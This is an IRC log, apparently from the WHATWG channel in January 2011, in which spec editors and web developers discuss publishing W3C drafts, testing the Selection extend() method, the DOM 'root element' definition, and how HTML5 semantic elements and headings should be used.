http://www.w3.org/TR/2011/WD-microdata-20110113/

[09:56:07.0000] <MikeSmith>
http://www.w3.org/TR/2011/WD-rdfa-in-html-20110113/

[09:56:08.0000] <MikeSmith>
http://www.w3.org/TR/2011/WD-html-markup-20110113/

[09:57:00.0000] <othermaciej>
MikeSmith: cool

[09:57:01.0000] <MikeSmith>
still need webmaster to set up the TR symlinks

[09:57:02.0000] <MikeSmith>
but that should be done today

[09:57:03.0000] <MikeSmith>
pending any more pubrules or broken-link problems that might remain for me to fix

[09:58:00.0000] <MikeSmith>
annevk: btw, you still got a lot of borken fragment refs in the diffs doc

[09:58:01.0000] <AryehGregor>
This call stack is like 30 deep of maps and substitutes.  Somehow a 0 got passed as the array argument to map(), but I have no idea how.

[09:58:02.0000] <MikeSmith>
annevk: due to stuff ending up in different split-out files than it did before

[09:59:00.0000] <MikeSmith>
in your editor's draft I mean

[09:59:01.0000] <nimbupani>
some bloopers fixed http://w3fools.com/

[09:59:02.0000] <MikeSmith>
http://validator.w3.org/checklink/checklink?uri=http%3A%2F%2Fdev.w3.org%2Fhtml5%2Fhtml4-differences%2F&hide_type=all&depth=&check=Check

[10:00:00.0000] <annevk>
MikeSmith, bah

[10:00:01.0000] <annevk>
MikeSmith, hmm, so you fixed them or something?

[10:00:02.0000] <MikeSmith>
yeah

[10:00:03.0000] <MikeSmith>
sorta

[10:00:04.0000] <MikeSmith>
i dealt with it

[10:01:00.0000] <annevk>
maybe I should stop linking directly to HTML5

[10:01:01.0000] <MikeSmith>
if anybody notices any problems with any of the other WD- above, please let me know so I can fix it before the hammer comes down on me

[10:01:02.0000] <MikeSmith>
links are good

[10:01:03.0000] <annevk>
feel free to patch the source file

[10:01:04.0000] <annevk>
i.e. http://dev.w3.org/cvsweb/html5/html4-differences/Overview.src.html

[10:01:05.0000] <MikeSmith>
the mood does not strike me

[10:02:00.0000] <karlcow>
/me takes his red pen and starts reading :p

[10:02:01.0000] <annevk>
okay

[10:02:02.0000] <MikeSmith>
I welcome others to feel free

[10:03:00.0000] <MikeSmith>
If pubrules were a person I would karate chop him in the throat

[10:03:01.0000] <AryehGregor>
Ah, it's working now.

[10:03:02.0000] <AryehGregor>
Is 4400 too many tests for extend()?

[10:03:03.0000] <AryehGregor>
There are still a whole bunch of things I haven't tested.

[10:04:00.0000] <AryehGregor>
But first let me check that my existing tests are sane . . .

[10:04:01.0000] <AryehGregor>
Actually, it's 4401, sorry.

[10:05:00.0000] <myakura>
don't we need to update copyright notice? (year++)

[10:06:00.0000] <MikeSmith>
myakura: <sigh> yeah, I expect so

[10:06:01.0000] <MikeSmith>
thanks for catching that

[10:06:02.0000] <Ms2ger>
Anolis supports doing that automatically ;)

[10:07:00.0000] <MikeSmith>
/me heads off to do some find. | xargs perl -pi -e

[10:07:01.0000] <MikeSmith>
Anolis is broken by design

[10:07:02.0000] <gsnedders>
Meow :'(

[10:07:03.0000] <MikeSmith>
it is a work-alike for something else that was broken by design

[10:07:04.0000] <gsnedders>
I is cute and cuddly!

[10:07:05.0000] <MikeSmith>
kind of like SVN was meant to be a workalike for CVS

[10:08:00.0000] <MikeSmith>
and we all know what a brilliant design goal that turned out to be

[10:08:01.0000] <Ms2ger>
What, HTML?

[10:09:00.0000] <MikeSmith>
I meant the cleverly named "CSS3 Module Postprocessor"

[10:10:00.0000] <karlcow>
MikeSmith: which document had broken fragments?

[10:10:01.0000] <MikeSmith>
none document

[10:10:02.0000] <MikeSmith>
now

[10:10:03.0000] <MikeSmith>
as far as WDs

[10:10:04.0000] <karlcow>
ah ok

[10:10:05.0000] <MikeSmith>
most all of the editor's drafts have broken fragments

[10:10:06.0000] <MikeSmith>
except for Hixie 's

[10:11:00.0000] <karlcow>
ok ok. had misunderstood

[10:15:00.0000] <AryehGregor>
Ms2ger, you previously mentioned that when the test harness fails an expected exception with the reason "threw with code INDEX_SIZE_ERR (1) expected INDEX_SIZE_ERR (1)" on Firefox, it's because of a known Firefox bug.  What bug is that?

[10:15:01.0000] <AryehGregor>
It's really annoying.

[10:15:02.0000] <AryehGregor>
Because it causes every single expected exception assert to fail, which seriously clutters up the test results.

[10:15:03.0000] <Ms2ger>
Hmm, I guess that would've just been known to me

[10:15:04.0000] <Ms2ger>
I'll file

[10:19:00.0000] <AryehGregor>
Thanks.

[10:22:00.0000] <MikeSmith>
ah geez

[10:22:01.0000] <MikeSmith>
http://pitchfork.com/news/41200-rip-broadcasts-trish-keenan/

[10:23:00.0000] <MikeSmith>
Trish Keenan from Broadcast

[10:28:00.0000] <Ms2ger>
Filed, cc:d you

[10:28:01.0000] <AryehGregor>
Thanks.

[10:31:00.0000] <AryehGregor>
Hixie, first pass at extend() tests (subject to change as I add more in real time): http://aryeh.name/tests-root/tests/submission/AryehGregor/selection-extend.html

[10:32:00.0000] <AryehGregor>
Awesome, Opera only passes like 20 of them.

[10:32:01.0000] <AryehGregor>
gsnedders was right when he said it wasn't web-compatible.

[10:33:00.0000] <gsnedders>
It works for all but a few sites! :P

[10:35:00.0000] <Ms2ger>
WebKit-based browsers also support setBaseAndExtent,...

[10:35:01.0000] <Ms2ger>
AryehGregor, seems like they have more work for you ;)

[10:35:02.0000] <AryehGregor>
I believe modify() is next on my list.

[10:36:00.0000] <AryehGregor>
By the way, you never answered me about how I'm supposed to compile your spec.

[10:36:01.0000] <Ms2ger>
I did, but my net didn't like you

[10:37:00.0000] <AryehGregor>
Could you do it again and hope that your net is feeling more friendly now?

[10:37:01.0000] <AryehGregor>
Perhaps you could feed it or stroke it gently to improve its disposition.

[10:37:02.0000] <Ms2ger>
Heh

[10:37:03.0000] <Ms2ger>
Do |hg clone ssh://hg⊙bo/ms2ger/specification-data data| inside your dom-range dir

[10:38:00.0000] <AryehGregor>
Although I admit to uncertainty as to how a net could have anything to do with it.  Do you keep your computer inside a net or something?

[10:38:01.0000] <AryehGregor>
Ah, that was the "missing data" issue.

[10:38:02.0000] <Ms2ger>
Yeah

[10:39:00.0000] <AryehGregor>
You could add a make rule for that, couldn't you?

[10:39:01.0000] <AryehGregor>
How do I get your anolis instead of the official one?

[10:39:02.0000] <AryehGregor>
I don't have a public key that allows me to check out from there.

[10:39:03.0000] <Ms2ger>
hg clone ssh://hg⊙bo/ms2ger/anolis && cd anolis && sudo python setup.py install

[10:39:04.0000] <AryehGregor>
Maybe there's an HTTP URL?

[10:39:05.0000] <Ms2ger>
There is

[10:40:00.0000] <AryehGregor>
/me correctly guesses it

[10:43:00.0000] <Ms2ger>
Please pull anolis again, I just pushed a patch I had locally

[10:46:00.0000] <AryehGregor>
Has anyone ever remarked that anolis is extremely verbose and painful to use?

[10:47:00.0000] <AryehGregor>
SyntaxError: Term not defined: root-element in domcore.

[10:47:01.0000] <AryehGregor>
root-element seems to be defined there.  What am I missing?  data needs an update?

[10:53:00.0000] <Ms2ger>
You want "root element", I think

[10:54:00.0000] <AryehGregor>
Convenient.

[10:54:01.0000] <annevk>
with a dash is the ID

[10:55:00.0000] <AryehGregor>
Given how anolis works, aren't all the id's in DOM Range kind of poorly chosen?  Like, why couldn't you call anchorNode just "anchorNode" instead of "dom-selection-anchorNode"?  Wouldn't that let you leave off all those titles?

[10:56:00.0000] <Ms2ger>
Following the style in HTML

[10:56:01.0000] <AryehGregor>
Hurrah, success.

[10:56:02.0000] <AryehGregor>
http://aryeh.name/tmp/dom-range.html#dom-selection-extend

[10:57:00.0000] <Ms2ger>
Yay

[11:00:00.0000] <hsivonen>
annevk: https://twitter.com/#!/kroc_camen 's latest tweets might be of interest

[11:00:01.0000] <hsivonen>
site hack via AWStats

[11:15:00.0000] <MikeSmith>
Hixie: anubis.dkuug.dk appears to be no more

[11:16:00.0000] <MikeSmith>
reference that points to in the spec

[11:16:01.0000] <MikeSmith>
for ISO885911

[11:22:00.0000] <AryehGregor>
Okay, I think I've written enough tests for now.  I'm up to 16,525 and it takes like ten seconds to run them all on Chrome.

[11:22:01.0000] <AryehGregor>
Oh, wait, some are broken.

[11:22:02.0000] <oojacoboo>
if you were marking up a privacy policy or terms and conditions or something, would you use <article> ?

[11:23:00.0000] <oojacoboo>
the spec seems to suggest that this is more blog related, as most of the spec does... thinking everything is a blog

[11:23:01.0000] <AryehGregor>
Sure, <article> is fine for that.

[11:24:00.0000] <Ms2ger>
Has the [ISO8601] ref in HTML always needed a password?

[11:25:00.0000] <oojacoboo>
I wish someone would rewrite the spec without such a heavy slant towards blogs

[11:26:00.0000] <oojacoboo>
it's very frustrating and does not provide a very comprehensive outlook into use case scenarios for the elements

[11:26:01.0000] <AryehGregor>
If it makes you feel better, every previous version of the spec was slanted even more heavily toward static documents.

[11:26:02.0000] <oojacoboo>
AryehGregor: static?

[11:26:03.0000] <AryehGregor>
You know.

[11:27:00.0000] <AryehGregor>
Like .html files that you wrote by hand and uploaded to your server by FTP.

[11:27:01.0000] <AryehGregor>
In 1996.

[11:27:02.0000] <Ms2ger>
oojacoboo, suggest good examples and they will very probably be added

[11:27:03.0000] <AryehGregor>
But yeah, feel free to suggest further examples for everything.

[11:27:04.0000] <AryehGregor>
You can use the comment form.

[11:27:05.0000] <AryehGregor>
I'm pretty sure the editor thinks there aren't enough examples.

[11:27:06.0000] <oojacoboo>
Ms2ger: how about thinking about it like you are developing an ecommerce site, and then make the changes

[11:27:07.0000] <oojacoboo>
you will see then that it needs SERIOUS edits

[11:27:08.0000] <Ms2ger>
Patches welcome

[11:27:09.0000] <AryehGregor>
Well, none of us are actually developing an ecommerce site, so probably you'd have more insight into that than us.

[11:28:00.0000] <AryehGregor>
If you want to give specific suggestions, they'd most likely be welcomed.

[11:28:01.0000] <oojacoboo>
AryehGregor: fair enough

[11:28:02.0000] <oojacoboo>
AryehGregor: the problem is that I have a hard enough time interpreting the intended use for certain elements

[11:29:00.0000] <AryehGregor>
Frankly, the elements like <article> are mostly interchangeable with <div>s in practice, and will probably remain so forever.

[11:29:01.0000] <oojacoboo>
just yesterday, I struggled with this <address> element... it's incredibly slanted towards blogs, assuming I want to use it to wrap referenced links

[11:29:02.0000] <AryehGregor>
So if you misuse them, it's not the end of the world.

[11:29:03.0000] <AryehGregor>
<address> is old, the definition dates back years.

[11:29:04.0000] <oojacoboo>
AryehGregor: well, it's still very lightly used and needs more clarification

[11:29:05.0000] <oojacoboo>
I used it for our company address on the /contact page

[11:30:00.0000] <oojacoboo>
maybe not intended, but that makes perfect sense to me

[11:30:01.0000] <AryehGregor>
That's correct usage.

[11:30:02.0000] <AryehGregor>
Okay, I really need to get rid of some of these tests.

[11:30:03.0000] <oojacoboo>
AryehGregor: the spec wouldn't lead you to believe that

[11:30:04.0000] <oojacoboo>
infact it says that a postal address is generally incorrect

[11:31:00.0000] <Ms2ger>
Generally

[11:31:01.0000] <oojacoboo>
the best thing for this spec would be for one of the authors to pick an ecommerce site, and rewrite it, and learn the issues, and doc them

[11:31:02.0000] <Ms2ger>
But not if it's contact information for the site author

[11:32:00.0000] <oojacoboo>
I just say ecommerce, b/c it's much different from a blog

[11:32:01.0000] <AryehGregor>
oojacoboo, realistically, the author of the spec has lots and lots of other more pressing things to do, unfortunately.

[11:32:02.0000] <oojacoboo>
AryehGregor: well, the people that are implementing this are going to fuck it up otherwise

[11:32:03.0000] <oojacoboo>
so, if that isn't important...

[11:32:04.0000] <AryehGregor>
Practically no authors read the spec anyway.

[11:33:00.0000] <oojacoboo>
mmm, it's the best reference I can find :/

[11:33:01.0000] <AryehGregor>
the non-machine-checkable authoring conformance requirements are going to be almost totally ignored no matter what, even in very high-profile "standards-compliant" software.

[11:33:02.0000] <AryehGregor>
s/^t/T/

[11:33:03.0000] <annevk>
hsivonen, thanks, but DreamHost is not using them

[11:34:00.0000] <oojacoboo>
AryehGregor: are we not banking on UAs taking advantage of these semantic elements for better interaction with webpages?

[11:34:01.0000] <AryehGregor>
oojacoboo, there are no differences in behavior defined for them, so I'm banking on no, they won't.

[11:34:02.0000] <oojacoboo>
for instance, allowing <address> to be clickable to open the address in google maps, or something

[11:34:03.0000] <AryehGregor>
<address> has existed since the 1990s, and no UA has done that.

[11:34:04.0000] <AryehGregor>
So there's your answer.

[11:35:00.0000] <oojacoboo>
AryehGregor: but mobile is just taking off, so I disagree

[11:35:01.0000] <AryehGregor>
I don't see what that has to do with it.

[11:36:00.0000] <oojacoboo>
AryehGregor: with the limited screen real estate and the ability to interpret the content of a page, mobile browsers could customize the viewing experience dramatically

[11:36:01.0000] <AryehGregor>
/me pares it down to 10837 tests

[11:36:02.0000] <oojacoboo>
take the idea that you could choose to do something different with <aside> as it isn't related to the page

[11:37:00.0000] <oojacoboo>
or ping your <nav> into the UA

[11:37:01.0000] <oojacoboo>
pin*

[11:37:02.0000] <oojacoboo>
etc

[11:37:03.0000] <AryehGregor>
oojacoboo, could, yes.  I've thought of that too.  But it's not specced, so UAs won't bother doing it now because not enough authors use the elements, so authors will use the elements randomly, so UAs won't do it because it would mess up pages.

[11:37:04.0000] <AryehGregor>
That's my prediction.

[11:37:05.0000] <AryehGregor>
It would be cool, though, yes.

[11:37:06.0000] <oojacoboo>
I see that as the future, but only when people code their markup properly

[11:37:07.0000] <oojacoboo>
and currently thats damn near impossible to understand

[11:38:00.0000] <oojacoboo>
the day where we have to rewrite a page multiple times for different UAs could be much closer!

[11:38:01.0000] <oojacoboo>
esp with you look at mobile/tablet/desktop

[11:39:00.0000] <oojacoboo>
meh, maybe I care too much...

[11:40:00.0000] <AryehGregor>
Oh, you can't actually make a doctype the boundary point of a Range.  How sad.

[11:40:01.0000] <Ms2ger>
The question is, can you use the text node child of an attr node

[11:41:00.0000] <AryehGregor>
It's not a matter of caring too much or too little.  It's a matter of separating what you'd ideally like to see, from what's actually attainable in real life given the forces involved.

[11:41:01.0000] <AryehGregor>
Ms2ger, attr nodes don't exist in Web DOM.

[11:41:02.0000] <Ms2ger>
Fortunately

[11:41:03.0000] <oojacoboo>
one other question before I get back to work... when it comes to heading elements

[11:41:04.0000] <oojacoboo>
why does the spec suggest nearly everything be an <h1> ?

[11:42:00.0000] <oojacoboo>
am I not to assume that this would throw bots for some loops

[11:42:01.0000] <Ms2ger>
Because it's easier to move content around like that

[11:42:02.0000] <oojacoboo>
Ms2ger: why not kill the h2-h6 then

[11:43:00.0000] <Ms2ger>
Because people use the

[11:43:01.0000] <Ms2ger>
them*

[11:43:02.0000] <oojacoboo>
or better yet, start to deprecate it by introducing a new heading element

[11:43:03.0000] <Ms2ger>
That's not very backwards-compatible

[11:43:04.0000] <oojacoboo>
people use <center> as well, but it's been deprecated

[11:44:00.0000] <Ms2ger>
Adding new elements is expensive

[11:44:01.0000] <Ms2ger>
Multimillion dollar-expensive, if I recall Hixie's calculation correctly

[11:44:02.0000] <AryehGregor>
That calculation is just silly, though.

[11:44:03.0000] <oojacoboo>
that's understandable

[11:44:04.0000] <Ms2ger>
Somewhat

[11:45:00.0000] <oojacoboo>
I still don't think that keeping elements that are confusing as shit, is smart

[11:45:01.0000] <AryehGregor>
Adding an element isn't really much more expensive than many other spec changes.

[11:45:02.0000] <oojacoboo>
infact, I just straight up disagree with using the <h1> all over the site, refuse to code like that

[11:45:03.0000] <AryehGregor>
Feel free not to, the spec allows you not to.

[11:45:04.0000] <AryehGregor>
Ooh, I think my tests found a stupid corner case where my spec doesn't match reality!

[11:46:00.0000] <oojacoboo>
well, if my comments are useless, I'll leave it be then

[11:46:01.0000] <AryehGregor>
Your comments are potentially useful, it's just that we've heard some of them before and have discussed them at length.

[11:46:02.0000] <oojacoboo>
might I suggest pulling in some folks that code things other than blogs on a regular basis though

[11:46:03.0000] <AryehGregor>
Like the using <h1> everything thing, it's been discussed a lot.

[11:47:00.0000] <AryehGregor>
oojacoboo, are you volunteering?  If not, where do you want us to find such people?

[11:47:01.0000] <oojacoboo>
AryehGregor: maybe you have discussed them with the wrong people

[11:47:02.0000] <AryehGregor>
(FWIW, I code wikis, not blogs)

[11:47:03.0000] <AryehGregor>
If so, only because the right people didn't choose to participate in the discussions.

[11:47:04.0000] <AryehGregor>
Feel free to hang out here, subscribe to the whatwg mailing list, read it all and chip in.

[11:47:05.0000] <AryehGregor>
You'll make a difference if you do that, I assure you.

[11:48:00.0000] <oojacoboo>
AryehGregor: one easy solution is to just familiarize yourselves with different layouts

[11:48:01.0000] <Ms2ger>
That's not an easy solution

[11:48:02.0000] <AryehGregor>
Well, yes, but who exactly is going to be doing this?  We all have other things to do.

[11:48:03.0000] <AryehGregor>
This kind of thing takes time.

[11:48:04.0000] <oojacoboo>
AryehGregor: fair enough, I can def provide feedback on things from an application development standpoint

[11:48:05.0000] <AryehGregor>
For instance, right now I'm speccing and testing a feature that's been implemented since about 1998 but never actually specified, so everyone does it differently if they do it at all.

[11:49:00.0000] <erlehmann>
oojacoboo, i like the h1 pattern, since i can reuse parts of sites without nesting troubles. what exactly is wrong about it?

[11:49:01.0000] <oojacoboo>
erlehmann: google doesn't

[11:49:02.0000] <AryehGregor>
Who says Google doesn't?

[11:49:03.0000] <erlehmann>
oojacoboo, so.

[11:49:04.0000] <AryehGregor>
The person who wrote the spec works for Google.

[11:49:05.0000] <oojacoboo>
AryehGregor: google places priority on the content for heading elements

[11:50:00.0000] <AryehGregor>
<h1> is a heading element.

[11:50:01.0000] <Ms2ger>
Google has said on the record that that pattern is fine

[11:50:02.0000] <oojacoboo>
if you have 20 <h1> tags on a page, and don't have the rest of the markup coded perfectly according to their alog, you won't be optimized very well

[11:50:03.0000] <erlehmann>
oojacoboo, googles algorithms evolve. they employ smart people. also, outline algorithm, do you speak it?

[11:51:00.0000] <Ms2ger>
oojacoboo, Google says that's not true

[11:51:01.0000] <oojacoboo>
outline algo?

[11:51:02.0000] <erlehmann>
oojacoboo, if gsnedders can do this, google can too: http://gsnedders.html5.org/outliner/process.py?url=http%3A%2F%2Fblog.dieweltistgarnichtso.net

[11:51:03.0000] <oojacoboo>
what do you mean erlehmann

[11:51:04.0000] <erlehmann>
see the outline of my blog.

[11:51:05.0000] <erlehmann>
sectioning is a bitch and the outline algo tames it.

[11:52:00.0000] <oojacoboo>
erlehmann: I have seen the outliner, yes

[11:52:01.0000] <erlehmann>
apparently my outline still is wrong in some cases.

[11:52:02.0000] <oojacoboo>
if this is the idea, then what becomes the use of <h2> - <h6> ?

[11:53:00.0000] <annevk>
oh hey

[11:53:01.0000] <annevk>
Google posted an update

[11:53:02.0000] <annevk>
http://blog.chromium.org/2011/01/more-about-chrome-html-video-codec.html

[11:53:03.0000] <oojacoboo>
oh god, don't get me started on that

[11:53:04.0000] <Peter`>
they're going to publish plugisn for Safari and IE9

[11:53:05.0000] <Peter`>
adding support for WebM

[11:53:06.0000] <annevk>
and Peter` put it on twitter already

[11:53:07.0000] <Peter`>
the rest we already know :p

[11:53:08.0000] <AryehGregor>
annevk, in the sense of <http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#root-element>, what's the root element of a Document node?

[11:53:09.0000] <erlehmann>
oojacoboo, implied sectioning.

[11:53:10.0000] <AryehGregor>
The Document itself, or its element child (if any)?

[11:54:00.0000] <AryehGregor>
I'd say the Document itself, but it's not clear to me.

[11:54:01.0000] <annevk>
the Document itself as I read it

[11:54:02.0000] <annevk>
Ms2ger wrote that part

[11:54:03.0000] <oojacoboo>
erlehmann: I thought that was the role of tiered elements?

[11:54:04.0000] <oojacoboo>
containers*

[11:54:05.0000] <annevk>
or Hixie did probably and Ms2ger copied it :)

[11:54:06.0000] <AryehGregor>
Good, that's how I read it too.

[11:55:00.0000] <AryehGregor>
It's confusing for "root element" to mean two things.

[11:55:01.0000] <Ms2ger>
Hixie did

[11:56:00.0000] <erlehmann>
oojacoboo, containers are *explicit*

[11:57:00.0000] <oojacoboo>
erlehmann: yea, but implicit doesn't do any good for the markup

[11:58:00.0000] <oojacoboo>
if the spec is stating that you are to use <h1> and I use <h2> or implicit reasons, then the markup isn't being interpreted correctly

[11:58:01.0000] <oojacoboo>
no?

[11:58:02.0000] <Ms2ger>
Either is fine

[11:58:03.0000] <erlehmann>
oojacoboo, next you will be asking us to markup <head> and <body>

[11:59:00.0000] <oojacoboo>
erlehmann: don't be melodramatic

[11:59:01.0000] <erlehmann>
oojacoboo, html is not python. there are several ways to do something wrong.

[12:00:00.0000] <oojacoboo>
erlehmann: well, maybe that's half the problem

[12:00:01.0000] <MikeSmith>
"only related to the <video> tag, which is part of the emerging HTML platform"

[12:00:02.0000] <oojacoboo>
maybe there should be more structure to it

[12:00:03.0000] <erlehmann>
oojacoboo, feel free to spec oojacobooML.

[12:00:04.0000] <erlehmann>
or use XHTML.

[12:00:05.0000] <oojacoboo>
erlehmann: I do use xhtml in come cases

[12:01:00.0000] <oojacoboo>
some even

[12:02:00.0000] <oojacoboo>
my main concern is that with the proliferation of mobile devices in the next few years, the requirement to code a site out on a platform that will generate different markup based on the device, will be necessary.  However, if there was more structure to the html, it'd be possible for UAs to display, at the request of the site with a meta tag, a different version, based on the semantic markup

[12:03:00.0000] <Hixie>
i made "root element" mean two things so that when i defined things in terms of the root element, it would just work for fragments without having to explicitly mention fragments (which would make the spec even more verbose otherwise)

[12:03:01.0000] <oojacoboo>
this would allow us to code a site once, and possible provide different stylesheets, and improve the mobile browsing experience drastically

[12:04:00.0000] <Hixie>
this way it's complicated for people who are able to understand why it's complicated and it doesn't complicate the spec for people who don't care about fragments

[12:07:00.0000] <gsnedders>
/me whisles, "anything I can do Google can too"

[12:12:00.0000] <Ms2ger>
/me pats gsnedders on the back

[12:12:01.0000] <Ms2ger>
How did the programming project turn out?

[12:13:00.0000] <gsnedders>
Um, well… I realized it counted for nothing (apart from having to do 7/10 exercises), I had practically ran out of time, so I gave up and didn't do anything for it.

[12:13:01.0000] <gsnedders>
/me is a good university student

[12:13:02.0000] <Ms2ger>
Hah

[12:13:03.0000] <gsnedders>
Speaking of which, time for me to decide what to wear to go out tonight.

[12:13:04.0000] <gsnedders>
(I'm not a teenage girl, honest.)

[12:15:00.0000] <Ms2ger>
I hadn't doubted that before, but now you mention it...

[12:15:01.0000] <gsnedders>
(Time to prove this point by deciding to wear a girl's top :P)

[12:15:02.0000] <MikeSmith>
gsnedders: chaps

[12:16:00.0000] <MikeSmith>
plus, your cane

[12:16:01.0000] <Ms2ger>
Also, don't listen to Mike

[12:16:02.0000] <MikeSmith>
the one that has the glove with the live goldfish inside

[12:16:03.0000] <AryehGregor>
Hixie, I don't see how that concern is relevant to your definition.  The "root element of a document" is its first element child, while the "root element of a node" when that node happens to be a document is the document itself.

[12:16:04.0000] <AryehGregor>
What does that have to do with fragments?

[12:18:00.0000] <gsnedders>
Ms2ger: Life is more interesting when you listen to MikeSmith

[12:18:01.0000] <Ms2ger>
I won't argue with that

[12:19:00.0000] <erlehmann>
hahahaha http://my.opera.com/haavard/blog/2011/01/13/openness#comment52158072

[12:19:01.0000] <erlehmann>
>maybe Google should offer a free version of Chrome with WebM+Theora and a paid one with +H.264

[12:21:00.0000] <TabAtkins>
oojacoboo: What you described (different sites for mobile) *was* the case in the past.  These days, it's thankfully rarely necessary.  It definitely won't get worse again.

[12:22:00.0000] <AryehGregor>
If it's rarely necessary, why does everyone and their dog do it?

[12:22:01.0000] <oojacoboo>
TabAtkins: current sites suck

[12:22:02.0000] <AryehGregor>
Including, e.g., lots of Google sites?

[12:22:03.0000] <oojacoboo>
unless they are custom developeed

[12:22:04.0000] <Ms2ger>
Why does everyone and their dog use <center>?

[12:22:05.0000] <Ms2ger>
Including, e.g., lots of Google sites?

[12:22:06.0000] <oojacoboo>
Ms2ger: they don't know better!

[12:22:07.0000] <TabAtkins>
AryehGregor: Dont' hyperbolize.  The vast majority of sites do not have a mobile version.

[12:23:00.0000] <oojacoboo>
my business partner used it the other day, backend guy Ms2ger

[12:23:01.0000] <oojacoboo>
!!

[12:23:02.0000] <erlehmann>
easy solution: kill your business partner.

[12:23:03.0000] <AryehGregor>
TabAtkins, yes, and they all look horrible on mobile.

[12:23:04.0000] <AryehGregor>
I was talking about the ones that actually work decently on mobile.

[12:23:05.0000] <AryehGregor>
And use nontrivial layout.

[12:24:00.0000] <oojacoboo>
erlehmann: very good at what he does, just not markup, I handle all that

[12:24:01.0000] <AryehGregor>
(aryeh.name works pretty well on mobile, no kidding.)

[12:24:02.0000] <TabAtkins>
AryehGregor: I find that my mobile browser handles most sites great.

[12:24:03.0000] <erlehmann>
i use mobile versions of okcupid and twitter because they work faster and aren't that bloated.

[12:24:04.0000] <AryehGregor>
TabAtkins, I find that they often waste tons of space and I have to either zoom in to cut out the garbage around the sides, or scroll way too much, or (occasionally) just suffer.

[12:24:05.0000] <oojacoboo>
erlehmann: yes, the experience is hands down better, and takes us one step farther from getting off the app bandwagon!

[12:24:06.0000] <oojacoboo>
that's why apps are so popular

[12:24:07.0000] <AryehGregor>
This is on the Android browser.

[12:25:00.0000] <oojacoboo>
but, if you could allow UAs to use parts of your site in the UA, you could really start doing some things

[12:25:01.0000] <TabAtkins>
AryehGregor: Get a better browser.  I can just double-tap what I want to read and it auto-zooms and changes the width to work.

[12:25:02.0000] <oojacoboo>
the <nav> is an amazing example of this

[12:25:03.0000] <oojacoboo>
<menu> is another great example

[12:26:00.0000] <oojacoboo>
it's a shame that THE best thing about html5 is being overlooked!

[12:26:01.0000] <oojacoboo>
otherwise, it's nothing more than new element names, who gives a flying **#*@(!

[12:26:02.0000] <AryehGregor>
TabAtkins, what browser are you using?

[12:26:03.0000] <AryehGregor>
/me hasn't tried double-tapping except by accident

[12:26:04.0000] <TabAtkins>
Android.

[12:26:05.0000] <TabAtkins>
On the most recent OS.

[12:26:06.0000] <AryehGregor>
oojacoboo, . . . you don't actually realize how many things are part of HTML5, I think, even narrowly construed.

[12:27:00.0000] <erlehmann>
oojacoboo, html5 is new element names, haahaha.

[12:27:01.0000] <oojacoboo>
TabAtkins: you are of the camp that believes in mediocrity

[12:27:02.0000] <AryehGregor>
/me will try double-tapping next time.

[12:27:03.0000] <TabAtkins>
oojacoboo: Um, what?

[12:27:04.0000] <AryehGregor>
oojacoboo, HTML5 is a multi-hundred-page spec that took years to write and is still being painstakingly refined.  The new semantic elements are a more or less trivial part of it.

[12:27:05.0000] <erlehmann>
oojacoboo, you are of the camp that believes in trolliocrity

[12:27:06.0000] <oojacoboo>
AryehGregor: I do, but they don't have the ability to shape the way we use the internet like mobile does

[12:28:00.0000] <AryehGregor>
Well, actually, yes they do.

[12:28:01.0000] <oojacoboo>
AryehGregor: they are trivial b/c you make them as such

[12:28:02.0000] <oojacoboo>
AryehGregor: 5 years from now, I bet 60% of internet traffic is mobile

[12:29:00.0000] <erlehmann>
5 years from now, I bet 60% of porn is WebM.

[12:29:01.0000] <oojacoboo>
you know why iOS app store is exploding.. b/c of that realization and the UA experience isn't good eough

[12:29:02.0000] <oojacoboo>
html5 has the potential to fix this issue!

[12:29:03.0000] <oojacoboo>
and it's huge

[12:29:04.0000] <erlehmann>
yay html5!

[12:29:05.0000] <erlehmann>
html5 is huge!

[12:30:00.0000] <oojacoboo>
yea, well, the only way it will happen is if there is a movement

[12:30:01.0000] <erlehmann>
(hundreds of pages that took hundreds of programmer slaves hundreds of man-years to write)

[12:30:02.0000] <oojacoboo>
it won't just happen on it's own... what will happen are these javascript frameworks :/

[12:30:03.0000] <erlehmann>
join the html5 movement!

[12:30:04.0000] <erlehmann>
hey, i use jquery, you insensitive clod!

[12:31:00.0000] <oojacoboo>
so do I ;)

[12:31:01.0000] <erlehmann>
also, i wrote a canvas animation library for 2d gravity simulations.

[12:32:00.0000] <oojacoboo>
anyway, I am around, I have input, but no need to blast my take on things now/here

[12:32:01.0000] <erlehmann>
i don't expect anyone to use canvas primitives. a fine framework is the love of other programmers frozen in code.

[12:44:00.0000] <MikeSmith>
othermaciej: fyi http://www.w3.org/News/2011#entry-8990

[12:45:00.0000] <othermaciej>
MikeSmith: neat

[12:45:01.0000] <MikeSmith>
/me heads off to get some breakfast

[12:55:00.0000] <TabAtkins>
/me still wonders how he's in the mediocre camp.

[12:59:00.0000] <othermaciej>
mediocre camp?

[13:01:00.0000] <TabAtkins>
oojacoboo said I believe in mediocrity.  I'm not sure what it was in reference to, though, so I'm not sure how much I should be offended.

[13:04:00.0000] <Hixie>
AryehGregor: the root element is always an element node

[13:04:01.0000] <AryehGregor>
Hixie, "The term root element, when not explicitly qualified as referring to the document's root element, means the furthest ancestor element node of whatever node is being discussed, or the node itself if it has no ancestors."

[13:04:02.0000] <AryehGregor>
That tells me that if it's not an element node and has no ancestors, it's its own (non-element) root element.

[13:05:00.0000] <AryehGregor>
What's the root element of document.createTextNode("")?

[13:05:01.0000] <Hixie>
oh, i see what you're saying

[13:05:02.0000] <Hixie>
does anything refer to the root element of a Document node?

[13:06:00.0000] <AryehGregor>
Well, my extend() spec does, for one.

[13:06:01.0000] <Hixie>
ah :-)

[13:06:02.0000] <AryehGregor>
Behavior differs if the current selection's root element isn't the same as the target's.

[13:06:03.0000] <Hixie>
well i agree that the root element of a Document should be its documentElement and not itself

[13:06:04.0000] <Hixie>
it's possible i misuse the term

[13:07:00.0000] <AryehGregor>
Other parts of DOM Range also refer to the root element of an arbitrary Node.

[13:07:01.0000] <Hixie>
k, let's update the definition

[13:07:02.0000] <Hixie>
one sec

[13:09:00.0000] <mven>
extenze()

[13:09:01.0000] <Hixie>
AryehGregor: ok regenning with a fix

[13:10:00.0000] <AryehGregor>
Hixie, you're regenning the Web DOM Core spec, or some other spec that also contains that definition?

[13:10:01.0000] <Hixie>
the html spec

[13:10:02.0000] <Hixie>
i don't edit dom core :-)

[13:10:03.0000] <AryehGregor>
So they have different definitions of the same thing?  One should reference the other.

[13:10:04.0000] <AryehGregor>
Where's the definition in HTML5?

[13:11:00.0000] <Hixie>
Terminology > DOM Trees

[13:12:00.0000] <AryehGregor>
